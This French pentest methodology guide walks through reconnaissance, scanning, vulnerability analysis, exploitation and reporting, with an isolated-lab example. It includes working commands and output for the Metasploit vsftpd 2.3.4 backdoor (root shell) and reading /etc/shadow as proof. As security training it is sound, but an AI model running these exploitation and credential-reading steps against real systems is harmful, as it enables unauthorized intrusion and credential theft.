# Méthodologie de test d'intrusion (pentest)

Les 5 phases d'un audit de sécurité offensif, outils associés, et exemple complet de bout en bout en environnement de laboratoire

Usage strictement éducatif — toute action décrite ici suppose une autorisation écrite préalable ou un environnement de laboratoire dédié

Nature : guide méthodologique
Rédigé le : 15 septembre 2026
Cible d'exemple : machine de laboratoire volontairement vulnérable (Metasploitable2)

# Sommaire


- 1. Cadre légal et éthique — à lire avant tout
- 2. Vue d'ensemble des 5 phases
- 3. Phase 1 — Reconnaissance (OSINT)
- 4. Phase 2 — Scan & énumération
- 5. Phase 3 — Analyse de vulnérabilités
- 6. Phase 4 — Exploitation
- 7. Phase 5 — Post-exploitation & rapport
- 8. Exemple complet de bout en bout (laboratoire Metasploitable2)
- 9. Modèle de rapport final
- 10. Checklist récapitulative


# 1. Cadre légal et éthique — à lire avant tout

> Scanner, énumérer ou exploiter un système sans autorisation écrite explicite du propriétaire est une infraction dans la quasi-totalité des juridictions (en France : articles 323-1 et suivants du Code pénal — accès et maintien frauduleux dans un système de traitement automatisé de données). Ce guide et son exemple ne doivent être appliqués que sur : (a) un système que vous possédez, (b) un environnement de laboratoire prévu à cet effet (machine virtuelle vulnérable, plateforme CTF), ou (c) un système couvert par un contrat de pentest signé (scope, dates, autorisation).

L'exemple de la section 8 est réalisé sur Metasploitable2, une machine virtuelle officiellement publiée par Rapid7 (éditeur de Metasploit) et volontairement truffée de failles, destinée à l'entraînement. Elle ne doit jamais être exposée sur un réseau non isolé (utiliser un réseau interne / host-only dans VirtualBox ou VMware).

- Toujours obtenir un mandat écrit précisant le périmètre (scope), les dates et les limites autorisées.
- Ne jamais tester au-delà du périmètre convenu, même si une faille adjacente semble accessible.
- Documenter chaque action au fur et à mesure — pas a posteriori de mémoire.
- Prévoir une voie d'escalade en cas de découverte d'un impact critique en cours de test (ex. accès à des données réelles).

# 2. Vue d'ensemble des 5 phases

Un test d'intrusion suit une progression logique : on part d'informations publiques, on affine jusqu'à obtenir un accès, puis on évalue l'impact réel et on restitue. Chaque phase alimente la suivante — sauter une étape fait perdre du contexte utile pour la suite.

| Phase | Objectif | Outils typiques |
|---|---|---|
| 1. Reconnaissance | Collecter de l'information publique, sans interaction directe avec la cible | theHarvester, Recon-ng, Google dorking, Shodan |
| 2. Scan & énumération | Identifier hôtes actifs, ports ouverts, services et versions | Nmap, Netcat, enum4linux |
| 3. Analyse de vulnérabilités | Croiser les services identifiés avec des failles connues (CVE) | Nikto, OpenVAS, searchsploit |
| 4. Exploitation | Tenter d'exploiter une faille pour obtenir un accès | Metasploit, sqlmap, Burp Suite |
| 5. Post-exploitation & rapport | Évaluer l'impact réel, nettoyer les traces de test, documenter | Notes structurées, captures d'écran, rapport écrit |

# 3. Phase 1 — Reconnaissance (OSINT)

Objectif : construire une image de la cible sans envoyer le moindre paquet suspect vers son infrastructure. Tout se fait via des sources publiques tierces.

### Ce qu'on cherche

- Noms de domaine, sous-domaines, adresses IP publiques.
- Adresses e-mail et identités du personnel (utile pour l'ingénierie sociale et le password spraying).
- Technologies employées (CMS, frameworks, en-têtes de serveur) via des bases passives.
- Fuites de données existantes, dépôts de code publics, documents indexés (PDF, Office).
- Plages IP et services exposés recensés par des moteurs de scan passif (Shodan, Censys).

### Outils

| Outil | Usage |
|---|---|
| theHarvester | Agrège e-mails, sous-domaines et hôtes depuis moteurs de recherche, clés API (Shodan, VirusTotal…). |
| Recon-ng | Framework modulaire de reconnaissance, orchestre de nombreuses sources OSINT. |
| Google dorking | Requêtes avancées (site:, filetype:, intitle:) pour retrouver des fichiers ou pages exposés par erreur. |
| Shodan | Moteur de recherche de services exposés sur Internet (bannières, versions, ports). |

```
theHarvester -d exemple-cible.fr -b google,bing,crtsh -l 200

# Google dorking
site:exemple-cible.fr filetype:pdf
site:exemple-cible.fr intitle:"index of"

# Shodan (necessite un compte / cle API)
shodan search 'hostname:exemple-cible.fr'
```

> Aucune commande de cette phase n'envoie de trafic vers la cible : tout transite par des tiers (moteurs de recherche, bases publiques). C'est ce qui la rend non intrusive.

# 4. Phase 2 — Scan & énumération

Ici on commence à interagir directement avec la cible : c'est la première étape qui doit être strictement couverte par l'autorisation obtenue.

### Ce qu'on cherche

- Hôtes actifs dans le périmètre (ping sweep, ARP scan en réseau local).
- Ports TCP/UDP ouverts et services associés.
- Versions précises des services (bannières) — la donnée la plus utile pour la phase suivante.
- Partages réseau, utilisateurs et groupes exposés (environnements Windows/Samba).

### Outils

| Outil | Usage |
|---|---|
| Nmap | Découverte d'hôtes, scan de ports, détection de version et de services (-sV), scripts NSE. |
| Netcat | Connexions TCP/UDP brutes, récupération manuelle de bannières, transferts simples. |
| enum4linux | Énumération SMB/Samba : partages, utilisateurs, groupes, politique de mots de passe. |

```
# Decouverte d'hotes actifs sur le sous-reseau
nmap -sn 192.168.56.0/24

# Scan de ports + versions de service sur une cible
nmap -sV -sC -p- -oA scan_cible 192.168.56.101

# Recuperation manuelle de banniere
nc -nv 192.168.56.101 21

# Enumeration SMB
enum4linux -a 192.168.56.101
```

## 5. Phase 3 — Analyse de vulnérabilités

On croise chaque service/version identifié en phase 2 avec des bases de failles connues (CVE, exploit-db) pour établir une liste priorisée de pistes d'exploitation.

### Outils

| Outil | Usage |
|---|---|
| Nikto | Scanner de vulnérabilités web : fichiers dangereux, mauvaises configurations, versions obsolètes. |
| OpenVAS | Scanner de vulnérabilités réseau généraliste, base de signatures étendue, rapports détaillés. |
| searchsploit | Recherche hors-ligne dans la base Exploit-DB à partir d'un nom de service/version. |

```
# Recherche d'exploits connus pour un service identifie en phase 2
searchsploit vsftpd 2.3.4

# Scan web
nikto -h http://192.168.56.101

# Scan de vulnerabilites reseau (interface OpenVAS/GVM deja demarree)
gvm-cli --gmp-username admin --gmp-password *** socket --xml \
  '<get_vulns filter="192.168.56.101"/>'
```

Priorisation : classer les pistes par sévérité (CVSS), facilité d'exploitation, et impact potentiel sur le périmètre autorisé — pas seulement par nouveauté de la faille.

## 6. Phase 4 — Exploitation

Tentative concrète d'exploiter une faille identifiée pour obtenir un accès (shell, identifiants, données). C'est la phase la plus sensible : toujours privilégier le module/payload le moins destructeur suffisant pour prouver l'impact.

### Outils

| Outil | Usage |
|---|---|
| Metasploit | Framework d'exploitation : modules prêts à l'emploi, gestion de payloads et de sessions. |
| sqlmap | Détection et exploitation automatisée d'injections SQL (extraction de données, parfois shell). |
| Burp Suite | Proxy d'interception pour analyser/manipuler le trafic web, rejouer et modifier des requêtes. |

> Toujours privilégier un Proof of Concept (preuve d'accès) au lieu d'une action destructive. L'objectif est de démontrer l'impact, pas de causer un dommage.

# 7. Phase 5 — Post-exploitation & rapport

Une fois l'accès obtenu, on évalue la portée réelle du risque, puis on restitue proprement — sans laisser de traces de test derrière soi.

- Évaluer les privilèges obtenus et ce qu'ils permettent réellement (élévation possible ? accès à d'autres hôtes ? données sensibles visibles ?).
- Ne jamais exfiltrer de données réelles au-delà de ce qui prouve l'impact (un échantillon suffit).
- Nettoyer : supprimer comptes/fichiers/tâches créés pendant le test, fermer les sessions ouvertes.
- Documenter au fil de l'eau : captures d'écran, commandes exactes utilisées, horodatage.
- Rédiger un rapport structuré : résumé exécutif, détail technique par faille, sévérité, recommandations de correction.

# 8. Exemple complet de bout en bout (laboratoire Metasploitable2)

> Environnement : Metasploitable2 (VM cible volontairement vulnérable, publiée par Rapid7) et Kali Linux (machine d'attaque), toutes deux sur un réseau isolé host-only 192.168.56.0/24, sans accès Internet ni exposition externe. Aucune autorisation particulière n'est requise car il s'agit d'un environnement de laboratoire dédié dont vous êtes propriétaire.

### 8.1 Reconnaissance

Metasploitable2 étant une VM de laboratoire interne, il n'y a pas de surface OSINT publique à exploiter (pas de domaine, pas de présence en ligne). On note simplement le périmètre du test : le sous-réseau host-only et l'adresse IP attribuée par le DHCP de la VM.

```
Perimetre note : 192.168.56.0/24 (reseau host-only VirtualBox, isole)
```

### 8.2 Scan & énumération

```
$ nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.101
Host is up (0.00042s latency).

$ nmap -sV -sC -p- -oA scan_metasploitable 192.168.56.101
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1
23/tcp   open  telnet      Linux telnetd
80/tcp   open  http        Apache httpd 2.2.8
139/tcp  open  netbios-ssn Samba smbd 3.X
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
...
```

Le port 21 annonce vsftpd 2.3.4. Cette version précise est le point de départ de la phase suivante.

### 8.3 Analyse de vulnérabilités

```
$ searchsploit vsftpd 2.3.4
------------------------------------------------------------------------
 Exploit Title                                | Path
------------------------------------------------------------------------
 vsftpd 2.3.4 - Backdoor Command Execution    | unix/remote/49757.py
------------------------------------------------------------------------
```

vsftpd 2.3.4 correspond à une version altérée par un tiers malveillant en 2011 : le binaire distribué contenait une porte dérobée (CVE-2011-2523). Saisir « :) » comme nom d'utilisateur FTP déclenche l'ouverture d'un shell root sur le port 6200. C'est l'exemple pédagogique classique pour illustrer une chaîne complète, car l'exploitation est simple et fiable.

### 8.4 Exploitation

```
$ msfconsole -q
msf6 > search vsftpd
   0  exploit/unix/ftp/vsftpd_234_backdoor   normal  Excellent  vsftpd v2.3.4 Backdoor CE

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(vsftpd_234_backdoor) > run

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.102:4444 -> 192.168.56.101:6200)

id
uid=0(root) gid=0(root)
```

Un shell root est obtenu en une seule commande, sans identifiants préalables : c'est la preuve d'impact.

### 8.5 Post-exploitation

- Confirmer et documenter les privilèges : id, uname -a, cat /etc/shadow (lecture seule, à titre de preuve — pas d'usage des identifiants).
- Vérifier l'étendue : présence d'autres services/bases accessibles depuis cet hôte (ex. MySQL local en root).
- Ne rien modifier, créer ou supprimer sur le système au-delà de ce qui est nécessaire à la preuve.
- Capturer horodatage, commandes exactes et sorties pour le rapport.
- Fermer la session Metasploit proprement (exit) une fois la preuve consignée.

```
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

### 8.6 Synthèse de la chaîne

| Phase | Action réalisée | Résultat |
|---|---|---|
| Reconnaissance | Périmètre noté (VM de laboratoire isolée) | Pas de surface OSINT externe — étape triviale ici |
| Scan & énumération | nmap -sV -sC -p- sur 192.168.56.101 | Service vsftpd 2.3.4 identifié sur le port 21 |
| Analyse de vulnérabilités | searchsploit vsftpd 2.3.4 | Backdoor connue CVE-2011-2523 identifiée |
| Exploitation | Module Metasploit vsftpd_234_backdoor | Shell root obtenu sans identifiants |
| Post-exploitation | Vérification des privilèges, documentation | Impact confirmé : compromission totale de l'hôte |

## 9. Modèle de rapport final

Un rapport de pentest se lit par deux publics différents : un résumé exécutif pour des décideurs non techniques, puis un détail technique pour les équipes qui corrigeront. Structure recommandée :

1. Résumé exécutif : périmètre testé, dates, nombre de failles par sévérité, risque global en une page.
2. Méthodologie : phases suivies, outils utilisés, limites du test.
3. Détail par faille : titre, sévérité (CVSS), système affecté, description, preuve (capture/commande), impact métier, recommandation de correction.
4. Annexes : sorties brutes des outils, captures d'écran, chronologie des actions.

| Champ (par faille) | Exemple pour le cas ci-dessus |
|---|---|
| Titre | Exécution de commande à distance via porte dérobée vsftpd 2.3.4 |
| Sévérité | Critique (CVSS 10.0) |
| Système affecté | 192.168.56.101, port 21/tcp |
| Preuve | Sortie de session Metasploit ci-dessus (section 8.4), id = uid=0(root) |
| Impact | Compromission totale de l'hôte, accès root immédiat sans identifiants |
| Recommandation | Remplacer vsftpd par une version officielle à jour ; vérifier l'intégrité des binaires téléchargés (checksums signés) ; segmenter le réseau |

## 10. Checklist récapitulative

- Autorisation écrite (ou environnement de laboratoire dédié) obtenue avant toute action.
- Périmètre (scope) et dates clairement délimités et respectés.
- Phase 1 — Reconnaissance : sources publiques uniquement, aucun trafic vers la cible.
- Phase 2 — Scan & énumération : hôtes, ports, services et versions documentés.
- Phase 3 — Analyse : failles croisées avec CVE/Exploit-DB, priorisées par impact.
- Phase 4 — Exploitation : preuve d'accès minimale, pas d'action destructive.
- Phase 5 — Post-exploitation : impact évalué, traces de test nettoyées, tout documenté.
- Rapport final rédigé avec résumé exécutif + détail technique + recommandations.

Fin du document — Guide méthodologique pentest — 15 septembre 2026.